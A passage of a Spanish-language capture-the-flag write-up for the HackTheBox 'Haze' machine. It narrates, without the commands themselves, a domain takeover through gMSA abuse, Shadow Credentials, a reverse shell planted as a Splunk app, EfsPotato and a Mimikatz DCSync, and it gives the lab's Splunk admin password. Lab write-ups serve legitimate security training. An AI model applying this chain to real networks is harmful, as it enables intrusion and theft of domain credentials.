Esta propiedad es clave, ya que si un usuario tiene permiso de lectura sobre una gMSA, puede recuperar su contraseña en texto plano y utilizarla para autenticarse como esa cuenta. Por defecto, solo ciertos grupos privilegiados (como Domain Admins) tienen ese permiso. Sin embargo, si tenemos privilegios suficientes, podemos modificar esa propiedad y asignarnos como entidad autorizada para obtener la contraseña de la gMSA.

Como ya sabíamos que solo los Domain Admins tenían permisos para leer la contraseña de la cuenta gMSA Haze-IT-Backup$, aprovechamos nuestra posición en el dominio para modificarlos a nuestro favor. Subimos PowerView.ps1 a través de Evil-WinRM y lo importamos en la sesión.

Luego, utilizamos el cmdlet Set-ADServiceAccount para asignar al usuario mark.adams como principal autorizado para leer la contraseña de esa gMSA.

Para asegurarnos de que teníamos los permisos suficientes para que esto surtiera efecto, también agregamos una ACL personalizada sobre el objeto del equipo con el derecho ResetPassword.

Una vez modificados los permisos con Set-ADServiceAccount y aplicada la ACL con Add-DomainObjectAcl, volvimos a ejecutar PowerView.py con el usuario mark.adams. Esta vez, al lanzar el módulo Get-GMSA, conseguimos acceder correctamente a la contraseña de la cuenta gMSA Haze-IT-Backup$.

Verificamos que las credenciales de la cuenta gMSA Haze-IT-Backup$ son válidas para autenticarse por LDAP al dominio.

Shell as edward.martins

BloodHound Enumeration

Esta máquina está planteada para que vayamos recolectando información con BloodHound cada vez que consigamos nuevas credenciales. Esto nos permite ir ampliando la visibilidad sobre el dominio a medida que progresamos en el compromiso.

Después de obtener la contraseña en texto plano de la cuenta gMSA Haze-IT-Backup$, la utilizamos para lanzar una nueva recolección con BloodHound.py, esta vez autenticándonos con su hash NTLM directamente.

La enumeración se completó correctamente y nos devolvió información adicional del dominio, incluyendo nuevos usuarios, grupos y objetos que no habíamos visto en recolecciones anteriores. Esto reforzaba la idea de ejecutar BloodHound con cada cuenta obtenida, ya que cada una puede tener visibilidad distinta sobre el entorno.

Durante el análisis en BloodHound, detectamos un path interesante de movimiento lateral que podíamos aprovechar. La cuenta HAZE-IT-BACKUP$, que ya controlábamos, tenía el permiso WriteOwner sobre el grupo SUPPORT_SERVICES@HAZE.HTB. Esto nos permitía tomar control de dicho grupo.

A su vez, los miembros de SUPPORT_SERVICES tenían permisos sobre el usuario edward.martin@haze.htb, específicamente:

ForceChangePassword, lo que permitiría cambiarle la contraseña (aunque esto no es recomendable en un pentest real porque genera alertas).
AddKeyCredentialLink, lo que nos permitía realizar un ataque de Shadow Credentials para autenticarnos como él sin modificar su contraseña.

Este path nos abría la posibilidad de escalar privilegios lateralmente hacia Edward Martin de forma sigilosa, usando la técnica de Shadow Credentials, sin necesidad de generar ruido en el entorno.

Abusing WriteOwner Privileges over a group (bloodyAD)

Tras identificar que la cuenta HAZE-IT-BACKUP$ tenía el privilegio WriteOwner sobre el grupo SUPPORT_SERVICES, decidimos abusar de esta configuración para tomar control total del grupo.

Primero cambiamos el propietario del objeto al propio HAZE-IT-BACKUP$, y luego le asignamos permisos GenericAll, lo que nos dio control total sobre el grupo. Esto fue clave, ya que SUPPORT_SERVICES tenía privilegios sobre el usuario edward.martin, permitiéndonos abusar de ellos más adelante para ejecutar un ataque de Shadow Credentials de forma silenciosa y sin cambiarle la contraseña

Abusing AddKeyCredentialLink to Perform Shadow Credentials Attack

Como comentamos anteriormente, el grupo SUPPORT_SERVICES tenía permisos sobre el usuario edward.martin, concretamente los privilegios ForceChangePassword y AddKeyCredentialLink. Aunque podríamos haber cambiado su contraseña directamente, en un entorno real esto no es recomendable ya que generaría alertas y el usuario podría darse cuenta de inmediato.

En su lugar, optamos por abusar del permiso AddKeyCredentialLink, que nos permite realizar un ataque de Shadow Credentials. Esta técnica consiste en asociar una clave pública controlada por nosotros al objeto del usuario, lo que nos permite autenticarnos como él mediante Kerberos (PKINIT) sin necesidad de conocer su contraseña, de forma totalmente silenciosa.

Antes de explotar el permiso AddKeyCredentialLink, lo primero que hicimos fue añadir la cuenta HAZE-IT-BACKUP$ como miembro del grupo SUPPORT_SERVICES, ya que este grupo era el que tenía los privilegios sobre el usuario edward.martin. Al formar parte del grupo, nuestra cuenta gMSA heredaría automáticamente esos permisos.

Con esto, ya teníamos los permisos necesarios para ejecutar el ataque de Shadow Credentials sobre edward.martin usando AddKeyCredentialLink.

Una vez que añadimos la cuenta HAZE-IT-BACKUP$ al grupo SUPPORT_SERVICES y obtuvimos los privilegios necesarios, ejecutamos el ataque de Shadow Credentials utilizando Certipy. Esta técnica nos permitió inyectar una clave controlada por nosotros al objeto del usuario edward.martin, y luego autenticarnos como él sin necesidad de conocer su contraseña.

Certipy generó un certificado, lo asoció al usuario objetivo y obtuvo satisfactoriamente un TGT (Ticket Granting Ticket) como edward.martin. Además, extrajo su hash NTLM.

Finalmente, Certipy restauró automáticamente los Key Credentials originales del usuario para no dejar rastros, lo que convierte esta técnica en una opción muy sigilosa para moverse lateralmente en entornos reales.

Abusing WinRM - EvilWinRM

Revisamos nuevamente en BloodHound y comprobamos que este nuevo usuario que disponemos, forma parte del grupo Remote Management Users con lo cual podríamos conectarnos al Domain Controller mediante WinRM.

Nos conectamos al DC a través de la herramienta evil-winrm realizando Pass-The-Hash (PtH) con el hash NTLM obtenido. Verificamos que finalmente obtenemos la flag user.txt

Shell as alexander.green

Abusing Backup_Reviewers Group Membership to Access Splunk Backup

Volviendo a BloodHound, nos encontramos que el usuario edward.martin forma parte de un grupo llamado Backup_Reviewers, un grupo de seguridad no nativo de Windows, que parece estar relacionado con algún tipo de acceso a backups.

Enumerando los directorios del Domain Controller, nos encontramos con un directorio ubicado en C:\Backups\Splunk en el cual contenía un archivo comprimido .zip de una copia de seguridad de Splunk. Nos descargaremos el comprimido a través de evil-winrm con el módulo download para verificar si en este backup habían credenciales que nos puedan servir o otra información útil.

Descomprimiremos el archivo comprimido descargado y verificamos que es una copia de seguridad de Splunk de la instalación. Posiblemente disponga de credenciales y archivos sensibles como authentication.conf y splunk.secret como obtuvimos anteriormente en la intrusión.

Accessing Splunk Admin Interface via Decrypted Backup Credentials using splunksecrets

Buscaremos a través del comando find partiendo desde el directorio actual si encontramos el archivo splunk.secret y authentication.conf. En el resultado obtenido, comprobamos la existencia de ambos archivos.

El archivo splunk.secret que disponemos es diferente al encontrado anteriormente en la fase inicial de la intrusión.

Por otro lado, también nos encontramos con otro archivo interesante: authentication.conf, ubicado en la ruta var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf. Este archivo contenía la configuración de autenticación LDAP utilizada por Splunk. Lo más relevante fue que, además del esquema de autenticación, se revelaba un nuevo usuario de dominio en la sección [Haze LDAP Auth].

Esto nos indicaba que la cuenta alexander.green se estaba utilizando como bindDN para el acceso LDAP, y que su contraseña estaba cifrada. Además, también quedaba claro que esta cuenta formaba parte del grupo Splunk_Admins, lo cual sugiere que tiene privilegios elevados dentro de la plataforma Splunk.

Teniendo en cuenta que ya habíamos recuperado previamente el archivo splunk.secret, podíamos ahora proceder a descifrar esta contraseña usando splunksecrets, tal como hicimos con el usuario Paul Taylor.

Accedemos al directorio donde encontramos el splunk.secret del backup de Splunk.

Con el archivo splunk.secret que habíamos obtenido previamente del backup de Splunk, y el valor cifrado encontrado en el authentication.conf, procedimos a desencriptar la contraseña del usuario alexander.green utilizando la herramienta splunksecret.

El proceso nos devolvió la contraseña en texto plano: Sp1unkadmin@2k24.

Esto nos daba acceso como el usuario alexander.green, quien además formaba parte del grupo Splunk_Admins, por lo que podíamos asumir que tenía permisos elevados dentro de la plataforma Splunk, permitiéndonos acceder a funciones sensibles o configuración crítica desde la interfaz web.

Comprobamos que estas credenciales no son válidas para autenticarse por LDAP con el usuario alexander.green.

Accederemos a y trataremos de ingresar a Splunk con las siguientes credenciales de acceso: admin:Sp1unkadmin@2k24

Verificamos que finalmente nos encontramos dentro de la interfaz administrativa de Splunk y nos encontramos como el usuario Administrator.

Splunk Reverse Shell through app

Nos encontramos un repositorio de GitHuben el cual nos ofrece la creación de un paquete de Splunk para lograr obtener una Reverse Shell.

Un simple paquete splunk para obtener reverse shells tanto en Windows como en la mayoría de los sistemas *nix.

Una vez descargado el repositorio de GitHub, veremos la estructura de los archivos que necesitaremos.

Modificaremos el archivo run.ps1 para indicarle nuestra dirección IP y el puerto donde estaremos en escucha.

Crearemos el archivo comprimido reverse_shell_splunk.tgz y lo renombraremos con extensión .spl.

Nos pondremos en escucha con nc para recibir la Reverse Shell.

Accederemos a para instalar nuestra app con la Reverse Shell. Dentro de este panel, le daremos a la opción de Install app from file.

Subiremos nuestro archivo reverse_shell_splunk.spl y le daremos a la opción de Upload para subirlo a Splunk la app maliciosa.

Verificaremos que nos indica que la aplicación se ha instalado correctamente dentro de Splunk.

Después de un breve tiemo, verificamos que se ha ejecutado la reverse shell de la app maliciosa a través del File Upload vulnerable de esta versión de Splunk. Nos encontramos en el Domain Controller autenticados como el usuario alexander.green.

Privilege Escalation

Abusing SeImpersonatePrivilege (EfsPotato)

Al revisar los privilegios habilitados para el usuario dentro del sistema, identificamos que disponía del privilegio SeImpersonatePrivilege, lo cual nos abría la posibilidad de realizar una escalada de privilegios local mediante técnicas conocidas como EfsPotato, PrintSpoofer o similares.

Realizando un systeminfo para ver la versión del Domain Controller, nos encontramos que tiene como sistema operativo un Microsoft Windows Server 2022 Standard. Por lo tanto, la herramienta de PrintSpoofer no nos servirá en este caso.

En este caso, podemos hacer uso de EfsPotato que abusa de este privilegio de SeImpersonatePrivilege.

EfsPotato es una herramienta de post-explotación que permite obtener privilegios elevados en sistemas Windows utilizando una vulnerabilidad en el servicio de cifrado de archivos (EFS). Aprovecha el hecho de que los procesos con privilegios más bajos pueden manipular ciertos objetos relacionados con el cifrado de archivos, lo que permite a un atacante ejecutar código con privilegios de sistema (SYSTEM). Es útil cuando un atacante tiene acceso a una cuenta con privilegios limitados, pero no cuenta con privilegios de administrador en el sistema.

En el repositorio del binario de EfsPotato, deberemos de compilar el binario desde el equipo. Para ello, primero revisaremos las versiones de Microsoft.Net que dispone el equipo víctima.

Nos descargaremos el archivo EfsPotato.cs del proyecto de GitHub y levantaremos un servidor web con Python para compartir este archivo al DC.

Desde el DC nos descargaremos el archivo EfsPotato.cs que estamos compartiendo y lo almacenaremos en C:\ProgramData.

Compilaremos elEfsPotato.cs y verificaremos que se ha creado el archivo EfsPotato.exe.

Por otro lado, también deberemos de disponer del binario nc.exe que compartiremos a través del servidor web.

Nos descargaremos el binario de nc.exe en la ruta de C:\ProgramData.

Nos pondremos en escucha con nc para recibir la Reverse Shell.

Ejecutaremos el EfsPotato.exe para convertirnos en usuario Administrador y ejecutaremos el nc.exe para enviarnos una Reverse Shell, este comando lo ejecutará el usuario Administrador.

Verificamos que hemos ganado acceso al equipo que nos encontrábamos y nos hemos convertido en usuario NT AUTHORITY\SYSTEM. Finalmente podemos leer la flag root.txt.

Dumping NTLM Hash of Administrator via DCSync using Mimikatz

En el punto anterior, nos encontramos como el usuario NT AUTHORITY\SYSTEM, que es la cuenta más privilegiada del sistema operativo local, pero aún no somos Domain Admin y es lo que nos interesa para obtener control total sobre el dominio haze.htb.

Con lo cual, podemos aprovecharnos que somos NT AUTHORITY\SYSTEM para utilizar Mimikatz y hacer un DCSync para obtener el hash NTLM del usuario Administrator que será el Domain Admin.

Teniendo esto presente, dispondremos del binario de Mimikatz.exe en nuestro equipo y lo compartiremos a través de un servidor web.

Nos descargaremos mimikatz que compartimos y lo almacenaremos en C:\ProgramData.

Con nuestra shell como NT AUTHORITY\SYSTEM, ejecutamos Mimikatz en la máquina víctima para llevar a cabo un ataque DCSync, con el objetivo de obtener el hash NTLM del usuario Administrator, quien es miembro del grupo Domain Admins. Esta técnica simula el comportamiento de un controlador de dominio y permite extraer los hashes de cualquier usuario del dominio si se tienen los privilegios adecuados.

La ejecución fue exitosa y nos devolvió múltiples credenciales asociadas a la cuenta Administrator, entre ellas su hash NTLM, que nos permitía autenticarnos directamente usando Pass-the-Hash.

Con este hash ya en nuestro poder, estábamos en condiciones de autenticarnos como Domain Admin en cualquier equipo del dominio haze.htb, consolidando completamente el compromiso del entorno y demostrando un control total sobre la infraestructura.

Gaining Administrator Access Using NTLM Hash Retrieved via DCSync

Con el hash NTLM del usuario Administrator obtenido previamente mediante el ataque DCSync con Mimikatz, realizamos un acceso remoto al controlador de dominio DC01 utilizando la técnica de Pass-the-Hash. Primero, verificamos el acceso con NetExec autenticándonos a WinRM, verificamos que es correcto el hash NTLM y nos sale como Pwn3d!.

Realizamos nuevamente Pass-The-Hash (PtH) para autenticarnos al WinRM como usuario Administrator y finalmente obtenemos el acceso al DC como Domain Admin, pudiendo leer la flag root.txt.